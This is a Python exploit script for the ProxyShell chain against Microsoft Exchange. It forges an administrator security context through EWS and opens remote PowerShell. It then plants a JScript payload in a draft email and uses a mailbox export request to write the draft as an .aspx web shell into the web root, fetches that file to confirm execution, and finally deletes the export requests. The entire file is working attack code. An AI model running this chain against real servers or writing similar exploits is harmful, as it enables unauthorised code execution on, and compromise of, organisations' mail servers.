#!/usr/bin/env python3
# Put JScript in message BODY (text/html) instead of attachment, export to .aspx
import sys, time, random, base64
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()

def createitem_body(sidv, subj, body_text, mail, btype="Text"):
    return '''<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"><soap:Header><t:RequestServerVersion Version="Exchange2016"/><t:SerializedSecurityContext><t:UserSid>%s</t:UserSid><t:GroupSids><t:GroupIdentifier><t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier></t:GroupIdentifier></t:GroupSids></t:SerializedSecurityContext></soap:Header><soap:Body><m:CreateItem MessageDisposition="SaveOnly"><m:Items><t:Message><t:Subject>%s</t:Subject><t:Body BodyType="%s">%s</t:Body><t:ToRecipients><t:Mailbox><t:EmailAddress>%s</t:EmailAddress></t:Mailbox></t:ToRecipients></t:Message></m:Items></m:CreateItem></soap:Body></soap:Envelope>''' % (sidv, subj, btype, body_text, mail)

ip = sys.argv[1]
ps = P.ProxyShell(f"https://{ip}", timeout=20)
ps.get_fqdn(); ps.get_legacydn(); print("email:", ps.email)
ps.get_sid(); ps.sid = ps.admin_sid
print("token:", "OK" if ps.get_token() else "FAIL")
port = random.randint(20000, 40000)
P.start_server(ps, port); time.sleep(1)
def run(s):
    try:
        o, e = P.wsman_shell(s, port); return [str(x) for x in o], [str(x) for x in e]
    except Exception as ex: return None, str(ex)

payload = '<script language="JScript" runat="server">Response.Write("MK_BODY_77");</script>'
for btype in ("Text", "HTML"):
    subj = "B" + P.rand_string(6)
    r = ps.post('/ews/exchange.asmx', createitem_body(ps.sid, subj, payload, ps.email, btype), {"Content-Type": "text/xml;charset=UTF-8"})
    print(btype, "draft:", "OK" if 'ResponseClass="Success"' in r.text else "FAIL")
    if 'ResponseClass="Success"' not in r.text: continue
    time.sleep(2)
    for st in ('Completed','Failed','InProgress'):
        try: run('Get-MailboxExportRequest -Status %s | Remove-MailboxExportRequest -Confirm:$false' % st)
        except Exception: pass
    name = "b" + P.rand_string(6) + ".aspx"
    unc = "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\" + name
    try: run('New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") -ContentFilter "(Subject -eq \'%s\')" -FilePath "%s"' % (ps.email, subj, unc))
    except Exception as e: print("export err", e)
    url = f"https://{ip}/aspnet_client/{name}"
    time.sleep(12)
    try:
        g = requests.get(url, verify=False, timeout=20)
        print(f"[body-{btype}] GET code={g.status_code} len={len(g.content)} MARKER={'MK_BODY_77' in g.text} head={g.content[:80]!r}")
        # also fetch as .txt to see raw content
        if g.status_code == 200:
            print("  RAW head:", repr(g.content[:120]))
    except Exception as e:
        print("get err", e)
    try: run('Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false')
    except Exception: pass